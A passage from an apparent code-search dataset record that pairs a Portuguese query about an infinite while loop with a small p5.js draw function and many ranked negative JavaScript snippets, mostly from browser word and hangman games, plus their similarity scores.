\\\"Total Wins: \\\" + wins;\\n }\\n}\",\n \"function showWord(words){\\n\\n //Generate randow array index\\n const randIndex = Math.floor(Math.random() *words.length);\\n //Output random word\\n currentWord.innerHTML=words[randIndex];\\n}\",\n \"function game() {\\n //hide words\\n //$(\\\".fiveWords\\\").hide(); //removed because the letters need to show when new game starts\\n \\n //move words --alec\\n myMove(\\\"1\\\");\\n myMove(\\\"2\\\");\\n myMove(\\\"3\\\");\\n myMove(\\\"4\\\");\\n myMove(\\\"5\\\");\\n \\n}\",\n \"function displayEndScreen() {\\n //display image\\n image(imgEndScreen, 0, 0, windowWidth, windowWidth * 0.4);\\n //Set text size in push-pop\\n push();\\n textSize(19);\\n //If player hits zero kids, display this\\n if (player.sentence === 0) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours and you did it \\\\nwithout bumping into children! \\\\nAmazing job, Hieronymous! Back to \\\\nloitering!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n //If player hits less than three kids, display this\\n } else if (player.sentence < 107) {\\n text(\\\"It took you only \\\" + player.timeSpent + \\\" hours \\\\nand you only added \\\" + player.sentence + \\\" days \\\\n to your community service!\\\", 0 + windowWidth / 20, windowWidth / 5);\\n } else {\\n //otherwise, display this message\\n text(\\\"It took you \\\" + player.timeSpent + \\\" hours... \\\\n...but holy crap Hieronymous you added \\\" + player.sentence + \\\" days \\\\nto your community service. Embarrassing.\\\", 0 + windowWidth / 20, windowWidth / 5);\\n }\\n pop();\\n\\n}\",\n \"function drawGame(word, letters) {\\n document.querySelector('#display-status').innerHTML = displayStatus(word, letters);\\n document.querySelector('#letter-slots').innerHTML = letterSlots(word, letters);\\n document.querySelector('#keyboard').innerHTML = keyboard(letters);\\n}\",\n \"function showNewWord(){\\n// document.getElementById(\\\"wordToType\\\").innerHTML=\\\" \\\";\\n $(\\\"#wordBox\\\").val(\\\"\\\");\\n// $(\\\"#wordToType\\\").html(words[index][0]);\\n if (words.length === alreadyUsed.length){\\n endGame();\\n }\\n console.log(\\\"choosing word\\\");\\n chooseWord();\\n document.getElementById(\\\"wordToType\\\").innerHTML= words[index][0];\\n\\n }\",\n \"function startGame(){\\r\\n\\t \\r\\n\\t let dumDumDum = [];\\r\\n\\t for( iii=0; iii < randomWord.length ; iii++){\\t\\t\\t\\r\\n\\t\\t\\tdumDumDum.push(\\\"_\\\");\\r\\n\\t } \\r\\n\\t// Change the game textcontents to starting values\\r\\n\\tdocument.querySelector(\\\".the_word\\\").innerHTML =\\\"The word: \\\"+dumDumDum+\\\" \\\";\\r\\n\\tdocument.querySelector(\\\".guesses\\\").innerHTML =\\\"Guesses: \\\";\\r\\n\\tdocument.querySelector(\\\".guesses_left\\\").innerHTML =\\\"Wrong guesses left: \\\"+livesLeft+\\\" \\\"; \\t \\r\\n }\",\n \"drawSecretWord() {\\n ctx.clearRect(0,canvas.height-40,canvas.width,40)\\n GAME.secretWord.includes(PLAYER.guess) ? PLAYER.guessStatus = true : PLAYER.guessStatus = false\\n for (let i = 0; i < GAME.secretWord.length; i++) {\\n const element = GAME.secretWord[i];\\n if(str_replace(from,to,element) === PLAYER.guess) {\\n PLAYER.guessStatus = true\\n GAME.answerArray[i] = element\\n }\\n let x = (canvas.width - ((GAME.secretWord.length * 24) + ((GAME.secretWord.length - 1) * 4))) + (i * (24 + 4))\\n ctx.beginPath()\\n ctx.font = \\\"32px calibri\\\"\\n ctx.fillText(GAME.answerArray[i], x, canvas.height - 6)\\n ctx.closePath()\\n }\\n }\",\n \"function displayGameOver() {\\n push();\\n textAlign(CENTER,CENTER);\\n textSize(60);\\n fill(0,0,0);\\n stroke(255,0,0);\\n textFont(fontGame);\\n text(\\\"Your artistic experience is terminated \\\\n sorry Warhol \\\\n \\\\n REFRESH to play again :)\\\",width/2,height/2);\\n pop();\\n}\",\n \"function startGame() {\\n // Randomly selecting a word from our array\\n wordUsedForGame = hangManWordChoices[Math.floor(Math.random() * hangManWordChoices.length)];\\n // creating a new word object with the random word\\n wordConstructed = new Word(wordUsedForGame);\\n // calling the renderWord function to push the letters into the word\\n wordConstructed.renderWord();\\n\\n console.log(\\\"\\\\n\\\");\\n console.log(\\\"Guess The Word. You have 7 chances to get it Right!!!\\\");\\n console.log(\\\" Hint: The Words are computer Languages \\\\n\\\");\\n\\n // Displaying the dashes based on the word selected using the Word display function \\n // they will be dashes because the guessed is set to false\\n console.log(wordConstructed.display());\\n console.log(\\\"\\\\n\\\");\\n\\n // calling askLetters to run the game\\n askLetters();\\n\\n\\n}\",\n \"function startGame() {\\n wrongGuesses = ' ';\\n allGuesses = \\\"\\\";\\n currentDisplay = [];\\n //Randomly selects a word from the array wordList\\n wordString = (wordList[Math.floor(Math.random() * wordList.length)]).toUpperCase(); \\n // Put the selected word into an array\\n word = wordString.split(''); \\n guessRemain = wordString.length; \\n for (var i = 0; i < guessRemain; i++){\\n currentDisplay[i] = \\\"_\\\"; \\n //displays the game\\n }\\n displayGame(); \\n }\",\n \"function startGame() {\\n renderNewWord();\\n startBar();\\n }\",\n \"function wordplay() {\\n librarycall()\\n play = new Word(choice);\\n plays = 10\\n alphaArr = [\\\"a\\\", \\\"b\\\", \\\"c\\\", \\\"d\\\", \\\"e\\\", \\\"f\\\", \\\"g\\\", \\\"h\\\", \\\"i\\\", \\\"j\\\", \\\"k\\\", \\\"l\\\", \\\"m\\\", \\\"n\\\", \\\"o\\\", \\\"p\\\", \\\"q\\\", \\\"r\\\", \\\"s\\\", \\\"t\\\", \\\"u\\\", \\\"v\\\", \\\"w\\\", \\\"x\\\", \\\"y\\\", \\\"z\\\"]\\n omegaArr = []\\n console.log(play.fullDisplay());\\n console.log(\\\"Tries left = \\\" + plays);\\n testletter()\\n}\",\n \"function stepWord() {\\n word++;\\n syllable = 0;\\n process.stdout.write(\\\" \\\");\\n}\",\n \"function start()\\n{\\ndocument.getElementById(\\\"two\\\").style.marginTop=\\\"20%\\\";\\n\\nvar x = Math.floor((Math.random() * 25) + 1); // to display the fist word and this word will change after every 3 second...\\n\\ndocument.getElementById(\\\"two\\\").innerHTML =obj.spellings[x].word;\\n\\nsetInterval(function() {game()},4000); // changing word after every 3 se....\\n}\",\n \"function endLose(word) {\\n console.log(\\\"You lose. The word was:\\\");\\n showWord(word);\\n}\",\n \"function draw() {\\n\\n noStroke();\\n fill(255);\\n var extraSpace = 0;//The words have its own length , so it needs to be offset to the right \\n // i MEANS THE FIRST LETTER OF THE sentence \\n\\n for (let i = 0; i < words.length; i++) {\\n // appearing over time...\\n //note that canvas Is loading 60 times per second which means if the first letter is 1 then when francount reaches and goes beyond 1*100 the first word get pirnted \\n\\n if (frameCount > i * 100) {\\n var wordMarginLeft = 30 * i; //The distance of each word is 30 // letters got print with the distance of 30 \\n \\n if (i > 0) {\\n extraSpace = extraSpace + words[i - 1].length * 13; //we need to add extra space in letters and it's caculated by the length of the letters\\n }\\n fill(255);\\n text(words[i], wordMarginLeft + extraSpace, 20);\\n }\\n }\\n \\n \\n}\",\n \"function drawHangman() {\\n}\",\n \"function updateDisplay() {\\n document.getElementById(\\\"totalWins\\\").innerText = wins;\\n document.getElementById(\\\"currentWord\\\").innerText = \\\"\\\";\\n\\n for (let i = 0; i < guessingWord.length; i++) {\\n document.getElementById(\\\"currentWord\\\").innerText += guessingWord[i];\\n }\\n document.getElementById(\\\"remainingGuesses\\\").innerText = remainingGuesses;\\n document.getElementById(\\\"guessedLetters\\\").innerText = guessedLetters;\\n if (remainingGuesses <= 0) {\\n document.getElementById(\\\"gameover-image\\\").style.cssText = \\\"display: block\\\";\\n document.getElementById(\\\"pressKeyTryAgain\\\").style.cssText =\\n \\\"display: block\\\";\\n hasFinished = true;\\n }\\n}\",\n \"function gameStart() {\\n resetCounters();\\n generateRandomWord();\\n hideTheWord(); \\n document.getElementById(\\\"guesses\\\").innerHTML = guessesLeft;\\n // Make variable to track letters to be guessed\\n var lettersLeft = randWord.length;\\n console.log(randWord);\\n\\n setupKeyLogging();\\n \\n document.getElementById(\\\"wins\\\").innerHTML = wins;\\n \\n \\n\\n\\n removeHandler(); \\n}\",\n \"function writeWord(){\\n var letterOrDash = \\\"\\\";\\n var allLettersGuessed = true;\\n\\n for(var i=0; i `\\n \\n ${correctLetters.includes(letter) ? letter : '' }\\n \\n `\\n )\\n .join('')\\n }\\n `;\\n // TO check -> console.log(word.innerText);\\n // To chack -> console.log(wordText);\\n const wordText = word.innerText.replace(/\\\\n/g, '');\\n if(wordText === selectedWord) {\\n message.innerText = 'You Won!';\\n popup.style.display = 'flex';\\n }\\n}\",\n \"function renderEndGameText() {\\n gameBackground.zIndex = 45;\\n sortZindex(gameScreen);\\n longBoard.visible = true;\\n endText.visible = true;\\n endText.speed = END_TEXT_SPEED;\\n endGameSelected = true;\\n}\",\n \"function displayWord() {\\n wordElement.innerHTML = \\n `${selectedWord\\n .split('')\\n .map(letter =>\\n `\\n ${correctLetters.includes(letter) ? letter : ''}\\n `\\n ).join('')}`;\\n \\n //console.log(wordElement.innerText);\\n \\n //Remove New Line Character \\n const innerWord = wordElement.innerText.replace(/\\\\n/g, '')\\n //console.log(innerWord); \\n\\n if (innerWord === selectedWord) {\\n finalMessage.innerText = 'You Won!';\\n popUp.style.display = 'flex';\\n }\\n}\",\n \"function displayWord(array){\\n word = array[Math.floor(Math.random() * array.length)];\\n var display = document.getElementById(\\\"display\\\");\\n display.innerText = word;\\n}\",\n \"function gameOver() {\\n background(0);\\n fill(255, 0, 0);\\n textFont(myFont, 80);\\n textAlign(CENTER);\\n text(\\\"LOSER\\\", 400, 200);\\n textSize(32);\\n text(\\\"HAVING DRANK ALL THE WATER, OR ATTEMPTED TO SHARE IT,\\\", 400, 270);\\n text(\\\"YOU HAVE DONE THE WRONG THING!\\\", 400, 285);\\n text(\\\"THE DUTIFUL THING WOULD HAVE BEEN TO GIVE IT\\\", 400, 300);\\n text(\\\" TO THE DYING PERSON FIRST.\\\", 400, 315);\\n text(\\\"BETTER LUCK NEXT TIME.\\\", 400, 330);\\n textSize(40);\\n text(\\\"REFRESH THE PAGE TO PLAY AGAIN\\\", 400, 485);\\n}\",\n \"startGame() {\\r\\n $(\\\"#overlay\\\").hide();\\r\\n this.activePhrase = this.getRandomPhrase();\\r\\n this.activePhrase.addPhraseToDisplay();\\r\\n }\",\n \"function showTheWord() {\\n // get random word then store it in the global var theWord\\n theWord = getRandomWord().split(''); // make it into array\\n\\n // place underscore referencing the number of letters\\n for (var i = 0; i < theWord.length; i++) {\\n $(\\\"#letterHolder\\\").append($(\\\"_\\\"));\\n }\\n }\",\n \"function showGameOver() {\\n gameSound.pause();\\n textSize(60);\\n textAlign(CENTER,CENTER);\\n fill(243,231,45);\\n var gameOverText = \\\"GAME OVER\\\\n\\\";\\n gameOverText += \\\"You caught \\\" + snitchEaten + \\\" snitch\\\\n\\\";\\n gameOverText += \\\"before you died.\\\"\\n text(gameOverText,width/2,height/2);\\n}\",\n \"function startGame()\\n{\\n\\t//selects random word\\n\\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\\n\\ttargetWordArray = targetWord.split(\\\"\\\");\\n\\t//transforms word to an array of dashes\\n\\tfor(i=0; i=10) {\\n wordz+=\\\"\\\\n YOU WIN\\\";\\n\\n} else {\\n wordz+=\\\"\\\\n YOU LOSE\\\";\\n}\\n words = wordz;\\n}\",\n \"function newWord(){\\n var wordBank = [\\\"susie\\\", \\\"transmogrifier\\\", \\\"spacemanspiff\\\",\\\"gross\\\", \\\"calvinball\\\", \\\"stupendousman\\\", \\\"tracerbullet\\\", \\\"toboggan\\\", \\\"duplicator\\\", \\\"misswormwood\\\", \\\"hamsterhuey\\\", \\\"gooeykablooie\\\"];\\n console.log(wordIndex)\\n console.log(wordBank.length)\\n if(wordIndex >= wordBank.length){\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n updateField(\\\"message-text\\\", \\\"Aww shucks, we're all out of words
You got \\\"+wins+\\\" out of \\\"+wordBank.length+\\\" right!\\\");\\n return;\\n }\\n currentWord=wordBank[wordIndex];\\n wordDisplay.innerHTML = createDisplay(currentWord);\\n //changed message board background color to blue\\n document.getElementById(\\\"message-board\\\").style.backgroundColor = \\\"#3dbaec\\\"\\n //upddate message board\\n updateField(\\\"message-text\\\", \\\"Next Word!\\\")\\n //resetting parameters\\n guessedArray = [\\\"\\\"];\\n updateLettersGuessedField();\\n guessesLeft = 6\\n updateField(\\\"guesses-left\\\",guessesLeft);\\n lettersCorrect = 0;\\n //reset stopGame\\n stopGame = false; \\n}\",\n \"function wordGame(){\\n\\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\\n \\n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\\n \\n letters=[\\\"A\\\",\\\"B\\\",\\\"C\\\",\\\"D\\\",\\\"E\\\",\\\"F\\\",\\\"G\\\",\\\"H\\\",\\\"I\\\",\\\"J\\\",\\\"K\\\",\\\"L\\\",\\\"M\\\",\\\"N\\\",\\\"Ñ\\\",\\\"O\\\",\\\"P\\\",\\\"Q\\\",\\\"R\\\",\\\"S\\\",\\\"T\\\",\\\"U\\\",\\\"V\\\",\\\"W\\\",\\\"X\\\",\\\"Y\\\",\\\"Z\\\"]\\n\\n for(let i=0;i';\\n document.getElementById(\\\"letter\\\" + i).innerHTML = \\\"_ \\\";\\n }\\n return randomWord;\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.735485","0.7281575","0.72742707","0.7265616","0.7172165","0.7069368","0.70655465","0.70403314","0.7035831","0.70275617","0.7018534","0.69981015","0.69899875","0.697977","0.69433796","0.6937526","0.6928103","0.6922864","0.69144416","0.6908628","0.6903575","0.6901666","0.68898153","0.68832606","0.68733126","0.6861113","0.6852572","0.6834979","0.6834087","0.6833765","0.6826422","0.68052906","0.68024933","0.6799191","0.67861027","0.6775891","0.67629296","0.6755508","0.6754186","0.6751982","0.67414206","0.67362714","0.673457","0.6723202","0.6716667","0.67103976","0.6705182","0.66994","0.6698914","0.6689129","0.66857684","0.6685386","0.6683297","0.6676819","0.667315","0.66730005","0.6659709","0.6650039","0.66466266","0.6637581","0.6634507","0.66265446","0.66251063","0.6612768","0.66101176","0.66087776","0.66068274","0.6602084","0.65974504","0.6594455","0.65825164","0.6578371","0.65782714","0.65733844","0.6572039","0.65711343","0.6570692","0.65695727","0.656581","0.6565796","0.6553978","0.65452373","0.65439034","0.65426886","0.65384567","0.6532182","0.6526582","0.65257335","0.6515874","0.65133","0.65033925","0.6503321","0.64992535","0.64943904","0.64875805","0.6487421","0.6485651","0.6470109","0.64676327","0.6467127"],"string":"[\n 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\"0.66466266\",\n \"0.6637581\",\n \"0.6634507\",\n \"0.66265446\",\n \"0.66251063\",\n \"0.6612768\",\n \"0.66101176\",\n \"0.66087776\",\n \"0.66068274\",\n \"0.6602084\",\n \"0.65974504\",\n \"0.6594455\",\n \"0.65825164\",\n \"0.6578371\",\n \"0.65782714\",\n \"0.65733844\",\n \"0.6572039\",\n \"0.65711343\",\n \"0.6570692\",\n \"0.65695727\",\n \"0.656581\",\n \"0.6565796\",\n \"0.6553978\",\n \"0.65452373\",\n \"0.65439034\",\n \"0.65426886\",\n \"0.65384567\",\n \"0.6532182\",\n \"0.6526582\",\n \"0.65257335\",\n \"0.6515874\",\n \"0.65133\",\n \"0.65033925\",\n \"0.6503321\",\n \"0.64992535\",\n \"0.64943904\",\n \"0.64875805\",\n \"0.6487421\",\n \"0.6485651\",\n \"0.6470109\",\n \"0.64676327\",\n \"0.6467127\"\n]"},"document_score":{"kind":"string","value":"0.6786421"},"document_rank":{"kind":"string","value":"34"}}},{"rowIdx":13,"cells":{"query":{"kind":"string","value":"Desenha LOOP Infinito while (1)"},"document":{"kind":"string","value":"function draw() {\n background(0,0,0);\n vitorioso();\n if(!(placarPlayerUm >= 10 || placarPlayerDois >=10)){\n jogo();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function loopInfinito() {\n while (true) { }\n}","function loop() {\r\n}","function loop() {\r\n // if (is_loop) {\r\n setTimeout(manage_loop, manager.interval);\r\n // is_loop = false;\r\n // }\r\n }","function cambiarEstiloAuto() {\n let contador = 0;\n while(contador < 10){\n cambiarEstilo();\n contador++;\n }\n}","loop() {}","loop() {}","function infinteLoop() {\n while (true) {\n }\n}","function executarLooping() {\n moverFundo()\n moverHelicopteroInimigo()\n moverCaminhao()\n moverJogador()\n moverAliado()\n detectarColisoes()\n mostrarPlacar()\n atualizarEnergia()\n}","function infiniteLoop() {\n while (true) {\n console.log('loop');\n }\n }","function jogar(){\r\n //o jogo continuará até que alguém destrua completamente os navios do adversário\r\n //testa após cada jogada se o número de pontos foi atingido\r\n while (true){\r\n jogadorJoga();\r\n console.log(\"O computador tem \"+naviosComputador);\r\n if (pontosJogador == naviosComputador){\r\n console.log(nome+\" ganhou! Parabéns!\");\r\n break;\r\n }\r\n else {\r\n computadorJoga();\r\n if (pontosComputador == naviosJogador){\r\n console.log(\"Computador ganhou! Tente novamente, \"+nome);\r\n break;\r\n }\r\n };\r\n }\r\n}","function loop() {\n moveFundo();\n moveJogador();\n moveInimigo1();\n moveInimigo2();\n moveInimigo3();\n moveInimigo4();\n moveEstrela();\n colisao();\n placar();\n energia();\n }","noLoop() {\r\n\t\t\tthis.looping = false;\r\n\t\t}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function startLoop(){\n\n // console.log('[LOOP]');\n\n INGAME = true;\n\n // cancel on late-join\n loop.stop();\n\n loop.resume();\n}","function cambio(){\n\n\t// for(var i=0; i<10; i++){\n\t// \tconsole.debug('hola '+i);\n\t// }\n\tvar i=0;\n\twhile(i<10){\n\t\tconsole.debug('hola '+i);\n\t\ti++;\n\t}\n}","function contadorWhile1() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Enquanto o valor (contador) for menor que 5\n while (contador <= 5) {\n\n // Mostra o valor na tela\n document.querySelector('#contadorW1').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n // contador = contador + 1;\n // contador += 1;\n }\n}","function whileLoop(n){\nwhile ( 0 < n ){\n console.log(--n);\n}\nif (n <= 1 ){\nreturn 'done';\n }\n}","function cicloWhile() {\n\n while (confirm(\"Desea Continuar?\")) {\n alert(\"THis is a cycle while\")\n }\n}","function startLoop() {\n\tisrunnning = true;\n}","function doWhileLoop(x)\n{\n x--;\n do \n {\n console.log(\"I run once regardless\");\n } while(x-- > 0);\n}","function infiniteLoop() {\r\n while (true) {\r\n }\r\n}","function main(){\r\n\tcur_t = 0\r\n\tkill_step = poisson(kill_step);\r\n\tcount_step = 0;\r\n\t//do {\r\n\tvar times = setInterval(function(){\r\n\t\tif (cur_t == steps) clearInterval(times);\r\n\r\n\t\tvar temp = couple_logistic_possison(pop, params, steps);\r\n\t\tif (count_step == kill_step){\r\n\t\t\tcata(kill_percentage, pop);\r\n\t\t\tkill_step = poisson(kill_step);\r\n\t\t\tcount_step = 0;\r\n\t\t}\r\n\r\n\t\tshow_graphics(temp);\r\n\r\n\t\tcur_t += 1;\r\n\t\tcount_step += 1;\r\n\t\treturn temp;\r\n\t\t}, 35);\r\n\t//} while (cur_t < steps)\t\r\n}","function mainLoop( ) {\n\n\n let segundos = 5;\n let tiempo = segundos * 1000;\n\n\n console.log('Intervalo de '+ segundos );\n console.log('Perioodo: ');\n\n\n REALTIME.actualizarREALTIME( );\n\n setInterval((tiempo) => {\n console.log('-------------------------------------------------------');\n console.log('Intervalo de REALTIME '+ segundos );\n console.log('PERIODO');\n REALTIME.actualizarREALTIME( );\n }, tiempo )\n\n}","function loopForever() {\n while (true) { }\n}","function checkLoop() {\n if (config.loopState) {\n loop();\n } else {\n noLoop();\n }\n }","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function infiniteLoop() {\n while (true) {\n }\n}","function contadorWhile2() {\n // Cria o contador (fora do while)\n let contador = 1;\n\n // Guarda o número informado na tela\n const numeroInformado = document.querySelector('#numInformadoW2').value;\n\n // Enquanto o contador for menor que o número informado na tela\n while (contador <= numeroInformado) {\n // Mostra o valor na tela\n document.querySelector('#contadorW2').innerHTML += contador + \", \";\n\n // Incrementa o contador (dentro do bloco)\n contador++;\n }\n}","function loopDetect() {\n \n}","loop() {\n let stop = false;\n while (!stop) {\n //Creates a thread for every single agent\n Object.values(this.agents).forEach(agent => {\n if (!this.problem.goalTest(this.data)) {\n // aqui el agente recibe las persepciones\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\n //guarda el accion\n let action = agent.send();\n this.actions.push({ agentID: agent.getID(), action });\n //actuliza el problema\n this.problem.update(this.data, action, agent.getID());\n //mira si termino el problema\n if (this.problem.goalTest(this.data)) {\n stop = true;\n } else {\n if (this.callbacks.onTurn)\n //es un callback que muestra la posicion en la que esta callbacks\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\n }\n }\n });\n }\n this.finishAll();\n }","function hello(){\n\nlet angka = 1;\nwhile(angka <= 5){\nconsole.log(\"hai\" + \" \" + angka + \"x\");\nangka++;\n }\n}","function generalLoop(){\r\n\r\n\tif ((new Date()).getTime() - timeObj < 3 ) {\t\t\r\n\t\treturn;\t\t\r\n\t}//fi\r\n\tif (currentState == 3) {\r\n\t\tupdateDisplay();\r\n\t\ttimeObj = (new Date()).getTime();\r\n\t}//fi\r\n\r\n\t\r\n\r\n}//end listener\t","function intWhile (){\n var i = 2000;\n while (i <= 5280){\n console.log(i);\n i++;\n }\n}","function PrintI(){\n var num = 2000;\n while(num < 5281){\n console.log(num);\n num++;\n }\n}","function loops6 () {\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\n var i = 1;\n do {\n console.log(i);\n i++;\n } while (i < 1001);\n}","function testWhileLoop() {\n var counter = 0;\n while (counter <= 10) {\n console.log(counter);\n counter++;\n }\n}","function devilLoop(){\n GMvariables.devil = setInterval(() => {\n changePositionOfElement()\n if(GMvariables.live<1){\n deviElementHide();\n clearInterval(GMvariables.devil);\n }\n }, GMvariables.interval);\n // console.log(\"from loop = \" + interval);\n}","function get_data_loop()\r\n{\r\n if(!ansvers){\r\n \tget_data();\r\n \tansvers = 1;\r\n }\r\n \tsetTimeout(\"get_data_loop()\",10000);\r\n}","function infiniteLoop() {\n while (true) { }\n}","function whileLoop(x)\n{\n while (x>0)\n {\n console.log(x--);\n }\n \n return \"done\";\n}","function a2() {\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\n console.log(i); // Konsolenausgabe der lokalen Variable i.\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\n } while (i > 0); // Schleifenbedingung: \"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\"\n}","function loop() {\n if (!avatar.dead) {\n //obtener propiedades de elementos\n bcr.getBCR(playground, adventurer, ip, life);\n //aumentar distancia e imprimirla\n distCounter++;\n printDist(distCounter, previousDistance, dist);\n //salto personaje\n avatar.jumping(joystick, adventurer);\n //controlar que no pase del piso\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\n adventurer.style.top = avatar.y + \"px\";\n //chequear colisiones\n\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\n if (avatar.life > 0) {\n avatar.hurt(life);\n //console.log(avatar.life);\n myID = requestAnimationFrame(loop);\n } else {\n avatar.death(adventurer);\n ip.style.animationIterationCount = \"1\";\n if (distCounter > previousDistance) {\n previousDistance = distCounter;\n }\n front.style.background=\"url('../img/end.png')\";\n inicio.style.display = \"inline\";\n setTimeout(() => {\n front.style.display=\"inline\";\n }, 2000);\n cancelAnimationFrame(myID);\n }\n } else {\n if (bcr.impBCR.left < 145) {\n speed *= 0.99;\n ip.style.animation = \"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\";\n }\n myID = requestAnimationFrame(loop);\n }\n }\n }","function loops4 () {\n console.log('#5 Logging 1 to 1000 with a while loop: ');\n var i = 1;\n while (i < 1001) {\n console.log(i);\n i++;\n }\n}","function loop() {\n if( DateForCycle.getTime() < beginTime ) {\n\n \n bigDay ^= true;\n setDate(DateForCycle, function(){\n commit(function() {\n if(bigDay) {\n commit(setNextDay);\n } else {\n setNextDay();\n\n }\n })\n });\n } else {\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\n });\n\n }\n }","function whileDemo([n]) {\r\n let health = 100;\r\n while (health > 0) { // its not depend on counter\r\n \r\n // walk\r\n // take damage\r\n // headshot\r\n }\r\n}","_setupLoop () {\n this._time = 0\n this._loop()\n }","function startLoop() {\n\tconsole.log(maxi);\n\tconsole.log(index);\n if(index==maxi){\n return;\n }\n else{\n //setInterval(5000);\n setInterval( doSomething(), iFrequency ); // run\n startLoop();\n\t}\n\n }","function loop (n) {\n while (n > 0) {\n console.log(n)\n n--\n }\n}","startLoop () {\n\t this.loop = true;\n\n\t while (this.loop) {\n\t switch (this.state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this.loop = false;\n\t }\n\t }\n\t }","function loop ( start, test, updt, body ) {\r\n let val = start;\r\n while (test(val)) {\r\n body (val)\r\n val = updt (val)\r\n } \r\n}","function stopLoop() {\n\tisrunnning = false;\n\tconsole.log('stop loop');\n}","function bannerLoop()\n\t{\n\t\tsetTimeout(showBanner, interval * 1000);\n\t}","function Inicio() {\n var bandera = true;\n\n while (bandera == true) {\n var respuesta = 0;\n\n //Mensajes de alerta para ingresar datos\n var nombre = prompt(\"Ingrese su nombre, por favor\");\n var edad = IngresoEdad(\"usted\");\n\n if (edad >= 18) {\n var casado = IngresoEstadoCivil();\n var edad_conyuge = 0;\n var numeroHijos = 0;\n valorPropiedad = 0;\n\n if (\"SI\" == casado.toUpperCase()) {\n edad_conyuge = IngresoEdad(\"su conyuge\");\n }\n\n if (TieneHijos()) {\n numeroHijos = CantidadHijos();\n }\n\n var salario = ValorSalario();\n var propiedad = IngresoPropiedad();\n\n debugger;\n\n if (\"SI\" == propiedad.toUpperCase()) {\n var valorPropiedad = ValorPropiedad();\n }\n } else {\n alert(\"La persona a asegurar tiene que ser mayor de edad\");\n }\n\n datos.push(\n new Registro(\n nombre,\n edad,\n casado,\n edad_conyuge,\n numeroHijos,\n salario,\n valorPropiedad\n )\n );\n\n bandera = Continuar();\n }\n\n for (let entry of datos) {\n var recargo_total = CalculoRecargo(entry);\n var total = precio_base + recargo_total;\n alert(\"Para el asegurado \" + entry.nombre);\n alert(\"El recargo total sera de: \" + recargo_total);\n alert(\"El valor de la cotización sera de: \" + total);\n }\n\n}","onClickRun() {\n\t\tlet tmp = true;\n\t\twhile (tmp == true) {\n\t\t\ttmp = this.cycle();\n\t\t}\n\t}","function imprimir() {\n for (var i = 0; i<8000; i++){\n console.log(\"Imprimio\");\n }\n}","function doWhileLoop(array) {\n \tvar i = 0; // sets variable i equal to zero as a start ?\n\n// function that adds '1' to the 'i' variable each time it's ran\nfunction incrementVariable() {\n \t\ti = i + 1;\n \t}\n\n\tdo { // will run following body AT LEAST once.\n\n\t\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\n // console.log(\"DID THIS WORK?!\"); // update: I actually don't even need the console.log part\n\t\tarray = array.slice(1); // removes the first element in an array\n\t\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\n\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\n\n\treturn array;\n}","function start() {\n isGameActive = true;\n\n var l = 0;\n do {\n setTimeout(function () {\n calculateNextGeneration();\n }, 1000 * l);\n l++;\n console.log(l);\n }\n while (l < 1000);\n\n}","startLoop () {\n this.loop = true;\n\n while (this.loop) {\n switch (this.state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n 